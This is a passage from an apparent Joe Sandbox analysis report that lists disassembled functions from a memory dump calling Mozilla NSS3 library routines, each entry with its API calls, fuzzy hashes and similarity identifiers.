Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyGrow_Item_Value$AllocateCriticalEnterSectionUnlockmemcpy
String ID:
API String ID: 1239214001-0
Opcode ID: b2217ba68326eb65a23b3fc18dc64e4ffe78b189a1912f6996e2c92a2e648349
Instruction ID: 0cb8188cb3f06bbe4cdee36d202804b7a137e9c374a8d6634d8637f94f0b7c03
Opcode Fuzzy Hash: b2217ba68326eb65a23b3fc18dc64e4ffe78b189a1912f6996e2c92a2e648349
Instruction Fuzzy Hash: 44410371A00212AFE7108F68CE00BA737A9EF5135CF15867AEC15ABB51E731E904CBE1

Function 6C7FAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C7FAB3E,?,?,?), ref: 6C7FAC35

Part of subcall function 6C7DCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C7DCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C7FAB3E,?,?,?), ref: 6C7FAC55

Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C8110F3
Part of subcall function 6C8110C0: EnterCriticalSection.KERNEL32(?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81110C
Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811141
Part of subcall function 6C8110C0: PR_Unlock.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811182
Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C7FAB3E,?,?), ref: 6C7FAC70

Part of subcall function 6C7DE300: TlsGetValue.KERNEL32 ref: 6C7DE33C
Part of subcall function 6C7DE300: EnterCriticalSection.KERNEL32(?), ref: 6C7DE350
Part of subcall function 6C7DE300: PR_Unlock.NSS3(?), ref: 6C7DE5BC
Part of subcall function 6C7DE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C7DE5CA
Part of subcall function 6C7DE300: TlsGetValue.KERNEL32 ref: 6C7DE5F2
Part of subcall function 6C7DE300: EnterCriticalSection.KERNEL32(?), ref: 6C7DE606
Part of subcall function 6C7DE300: PORT_Alloc_Util.NSS3(?), ref: 6C7DE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C7FAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7FAB3E), ref: 6C7FACD7
PORT_Alloc_Util.NSS3(?), ref: 6C7FAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C7FAD2B

Part of subcall function 6C7DF360: TlsGetValue.KERNEL32(00000000,?,6C7FA904,?), ref: 6C7DF38B
Part of subcall function 6C7DF360: EnterCriticalSection.KERNEL32(?,?,?,6C7FA904,?), ref: 6C7DF3A0
Part of subcall function 6C7DF360: PR_Unlock.NSS3(?,?,?,?,6C7FA904,?), ref: 6C7DF3D3

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 358d1948d081fc31239de3fad6daf41bb816f760b0af944ffa0c3e5faec55ee5
Instruction ID: 3bb41ef4c639ae77db55bd2e772ff0b9ecbc66137d528b4914aa773f42dafe98
Opcode Fuzzy Hash: 358d1948d081fc31239de3fad6daf41bb816f760b0af944ffa0c3e5faec55ee5
Instruction Fuzzy Hash: 61312BB1E001065FEB008F698D959AF7776AF84328B198538E83457741EB31DD16C7A1

Function 6C7D8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C7D8C7C

Part of subcall function 6C879DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C8C0A27), ref: 6C879DC6
Part of subcall function 6C879DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C8C0A27), ref: 6C879DD1

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D8CB0
TlsGetValue.KERNEL32 ref: 6C7D8CD1
EnterCriticalSection.KERNEL32(?), ref: 6C7D8CE5
PR_Unlock.NSS3(?), ref: 6C7D8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C7D8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7D8D93

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockValuestrlen
String ID:
API String ID: 2830306428-0
Opcode ID: d13d1d33c40b90fe910b93c82e13e565105cd18d2c67822085b8453addeb1691
Instruction ID: 0bea0492850a26cc3692b68846892821bab4c9eaf56466323d217a407ecb912f
Opcode Fuzzy Hash: d13d1d33c40b90fe910b93c82e13e565105cd18d2c67822085b8453addeb1691
Instruction Fuzzy Hash: F5319B71A00201EFE700AF68DE4679A77B0FF19318F25013AEA0967B90D770B924CBD1

Function 6C7F8500 Relevance: 10.6, APIs: 7, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C7F95DC,00000000,00000000,00000000,?,6C7F95DC,00000000,00000000,?,6C7D7F4A,00000000,?,00000000,00000000), ref: 6C7F8517

Part of subcall function 6C80BE30: SECOID_FindOID_Util.NSS3(6C7C311B,00000000,?,6C7C311B,?), ref: 6C80BE44

PORT_NewArena_Util.NSS3(00000800,00000000,00000000,?,6C7D7F4A,00000000,?,00000000,00000000), ref: 6C7F8585
PORT_ArenaAlloc_Util.NSS3(00000000,00000034,?,00000000,00000000,?,6C7D7F4A,00000000,?,00000000,00000000), ref: 6C7F859A
SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6C8DD8C4,6C7F95D0,?,?,?,00000000,00000000,?,6C7D7F4A,00000000,?,00000000,00000000), ref: 6C7F85CC
SECOID_GetAlgorithmTag_Util.NSS3(-0000001C,?,?,?,?,?,?,?,00000000,00000000,?,6C7D7F4A,00000000,?,00000000,00000000), ref: 6C7F85E1
PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7D7F4A,00000000,?), ref: 6C7F85F4

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$AlgorithmArena_Tag_$Alloc_ArenaDecodeFindFreeItem_
String ID:
API String ID: 738345241-0
Opcode ID: 230af12e557a02d7d568b21bb78181e48e43a1b499b31e12fb8dd98de660d531
Instruction ID: 17a87f06bdf626cdd5a267f899669c7ccd37a1152cf119864239c7273fd6bdcc
Opcode Fuzzy Hash: 230af12e557a02d7d568b21bb78181e48e43a1b499b31e12fb8dd98de660d531
Instruction Fuzzy Hash: 293138A2D4510057E720871ACEC1B6E2258AB2339CF150A77F835D7FC3EB14C9564662

Function 6C7C4590 Relevance: 10.6, APIs: 7, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7C45B5

Part of subcall function 6C810FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7B87ED,00000800,6C7AEF74,00000000), ref: 6C811000
Part of subcall function 6C810FF0: PR_NewLock.NSS3(?,00000800,6C7AEF74,00000000), ref: 6C811016
Part of subcall function 6C810FF0: PL_InitArenaPool.NSS3(00000000,security,6C7B87ED,00000008,?,00000800,6C7AEF74,00000000), ref: 6C81102B

PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C7C45C9

Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C8110F3
Part of subcall function 6C8110C0: EnterCriticalSection.KERNEL32(?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81110C
Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811141
Part of subcall function 6C8110C0: PR_Unlock.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811182
Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81119C

memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7C45E6
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C7C45F8

Part of subcall function 6C80FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C808D2D,?,00000000,?), ref: 6C80FB85
Part of subcall function 6C80FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C80FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7C4647
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C8DA0F4,?), ref: 6C7C468C
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7C46A1

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpymemset
String ID:
API String ID: 1594507116-0
Opcode ID: 307ded8d6ba256b32b52ed477a91635f98b9f0975fb49f5ee2a704a9f4bb479d
Instruction ID: 5d3eb753d8ba07fc187a7bbfd792bea3816179143637a91b66c74cda5f7fb088
Opcode Fuzzy Hash: 307ded8d6ba256b32b52ed477a91635f98b9f0975fb49f5ee2a704a9f4bb479d
Instruction Fuzzy Hash: 6531E8B1B003169FFF209E68DE51BBB36A8AB45308F104438E905EF785E775D80887A6

Function 6C7D2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C7CE728,?,00000038,?,?,00000000), ref: 6C7D2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C7D2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C7D2E9E
PR_Unlock.NSS3(?), ref: 6C7D2EAB
PR_Unlock.NSS3(?), ref: 6C7D2F0D

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: c03a92c49bf04964d91dff2b10d188c4cc8fab16cedbf2d4d5b7922cf10ac60c
Instruction ID: db7f99901a8a310ad0a503816498bce804e42bdf851192d91a2c2a1cc8b75186
Opcode Fuzzy Hash: c03a92c49bf04964d91dff2b10d188c4cc8fab16cedbf2d4d5b7922cf10ac60c
Instruction Fuzzy Hash: 7C312475A00106AFEB009F28DE4987AB778EF15258F158679EC0887A11EB31ED65C7E2

Function 6C804470 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6C7C7296,00000000), ref: 6C804487
EnterCriticalSection.KERNEL32(?,?,?,6C7C7296,00000000), ref: 6C8044A0
PR_Unlock.NSS3(?,?,?,?,6C7C7296,00000000), ref: 6C8044BB
SECMOD_DestroyModule.NSS3(?,?,?,?,6C7C7296,00000000), ref: 6C8044DA
DeleteCriticalSection.KERNEL32(?,?,?,?,6C7C7296,00000000), ref: 6C804530
free.MOZGLUE(?,?,?,?,?,6C7C7296,00000000), ref: 6C80453C
PORT_FreeArena_Util.NSS3 ref: 6C80454F

Part of subcall function 6C7ECAA0: PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C7CB1EE,D958E836,?,6C8051C5), ref: 6C7ECAFA
Part of subcall function 6C7ECAA0: PR_UnloadLibrary.NSS3(?,6C8051C5), ref: 6C7ECB09

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSection$Arena_DeleteDestroyEnterFreeLibraryModuleSecureUnloadUnlockUtilValuefree
String ID:
API String ID: 3590924995-0
Opcode ID: 9525154795e81282f47632adb456898863baabefefcf3a67629e4b11d7cde9e4
Instruction ID: b035146223f5b4cc89f97b96602e978eacccfaf3b04b28d247710932ac90f927
Opcode Fuzzy Hash: 9525154795e81282f47632adb456898863baabefefcf3a67629e4b11d7cde9e4
Instruction Fuzzy Hash: DF315074B05A059FDB20AF39C688569B7F0FF95319F010A6DD89997B00E731E898CBC1

Function 6C81CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C81CD93,?), ref: 6C81CEEE

Part of subcall function 6C8114C0: TlsGetValue.KERNEL32 ref: 6C8114E0
Part of subcall function 6C8114C0: EnterCriticalSection.KERNEL32 ref: 6C8114F5
Part of subcall function 6C8114C0: PR_Unlock.NSS3 ref: 6C81150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C81CD93,?), ref: 6C81CEFC

Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C8110F3
Part of subcall function 6C8110C0: EnterCriticalSection.KERNEL32(?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81110C
Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811141
Part of subcall function 6C8110C0: PR_Unlock.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811182
Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C81CD93,?), ref: 6C81CF0B

Part of subcall function 6C810840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C8108B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C81CD93,?), ref: 6C81CF1D

Part of subcall function 6C80FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C808D2D,?,00000000,?), ref: 6C80FB85
Part of subcall function 6C80FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C80FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C81CD93,?), ref: 6C81CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C81CD93,?), ref: 6C81CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C81CD93,?,?,?,?,?,?,?,?,?,?,?,6C81CD93,?), ref: 6C81CF78

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 5ad94df7365c9f2547b60d9dca3d5fdfe545f119435de7a005a5ebcb525be0d8
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 9C11E7B1F082065BE720AA6A7E41B6B75EC9F5558DF004839EC09D7F42FBA0D908C6B1

Function 6C7C8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7C8C1B
EnterCriticalSection.KERNEL32 ref: 6C7C8C34
PL_ArenaAllocate.NSS3 ref: 6C7C8C65
PR_Unlock.NSS3 ref: 6C7C8C9C
PR_Unlock.NSS3 ref: 6C7C8CB6

Part of subcall function 6C85DD70: TlsGetValue.KERNEL32 ref: 6C85DD8C
Part of subcall function 6C85DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C85DDB4

Strings

KRAM, xrefs: 6C7C8C8F

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 5f6a4090eafc574465f3b1e8be7c643906d7958e2335ef4f0d73641aad3c484e
Instruction ID: b2d7e1809e030ac892d2e73a1a16b090092e24385d7d2b72632d53a9c5f031b2
Opcode Fuzzy Hash: 5f6a4090eafc574465f3b1e8be7c643906d7958e2335ef4f0d73641aad3c484e
Instruction Fuzzy Hash: EA2160B16056028FD710AF78C588569BBF4FF05308F1589BED8888B711DB35D899CB92

Function 6C85A540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6C85A390: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C85A415

PK11_ExtractKeyValue.NSS3(00000000), ref: 6C85A5AC
memcpy.VCRUNTIME140(?,?,?), ref: 6C85A5BF
PK11_FreeSymKey.NSS3(00000000), ref: 6C85A5C8

Part of subcall function 6C7FADC0: TlsGetValue.KERNEL32(?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE10
Part of subcall function 6C7FADC0: EnterCriticalSection.KERNEL32(?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE24
Part of subcall function 6C7FADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C7DD079,00000000,00000001), ref: 6C7FAE5A
Part of subcall function 6C7FADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE6F
Part of subcall function 6C7FADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE7F
Part of subcall function 6C7FADC0: TlsGetValue.KERNEL32(?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAEB1
Part of subcall function 6C7FADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAEC9

PK11_FreeSymKey.NSS3(00000000), ref: 6C85A5D9
PR_SetError.NSS3(FFFFD04C,00000000), ref: 6C85A5E8

Strings

*@, xrefs: 6C85A589

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: K11_Value$CriticalEnterErrorFreeSection$ExtractUnlockfreememcpymemset
String ID: *@
API String ID: 2660593509-1483644743
Opcode ID: 1727167bec5ea85ee77e0f1581323b11f1dfdf2f3c0aee883103e6a0278c4ec3
Instruction ID: c4065f6d7a07286c39f16c57278c0aa669d8c43e80cca8280997b5f3347d3df9
Opcode Fuzzy Hash: 1727167bec5ea85ee77e0f1581323b11f1dfdf2f3c0aee883103e6a0278c4ec3
Instruction Fuzzy Hash: 192108B1D0420897C7109F599E456EFBBF4AF8932CF41462CEC5827740E770A6598BE2

Function 6C8C2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C8C2CA0
PR_ExitMonitor.NSS3 ref: 6C8C2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C8C2CD1
strdup.MOZGLUE(?), ref: 6C8C2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C8C2D27

Strings

Loaded library %s (static lib), xrefs: 6C8C2D22

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: aade682a91cdcad16a2d393f50d1a380d755141e0a26974afe9133d1e8565714
Instruction ID: 98468958a74ef09dfa168092e41b22f1820679cf27c64faed19f7f2674d6058f
Opcode Fuzzy Hash: aade682a91cdcad16a2d393f50d1a380d755141e0a26974afe9133d1e8565714
Instruction Fuzzy Hash: E71108B17042049FEB209F18D94E66677B4EB5639DF24893DD809C7F81D736D818CBA2

Function 6C810FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7B87ED,00000800,6C7AEF74,00000000), ref: 6C811000
PR_NewLock.NSS3(?,00000800,6C7AEF74,00000000), ref: 6C811016

Part of subcall function 6C8798D0: calloc.MOZGLUE(00000001,00000084,6C7A0936,00000001,?,6C7A102C), ref: 6C8798E5

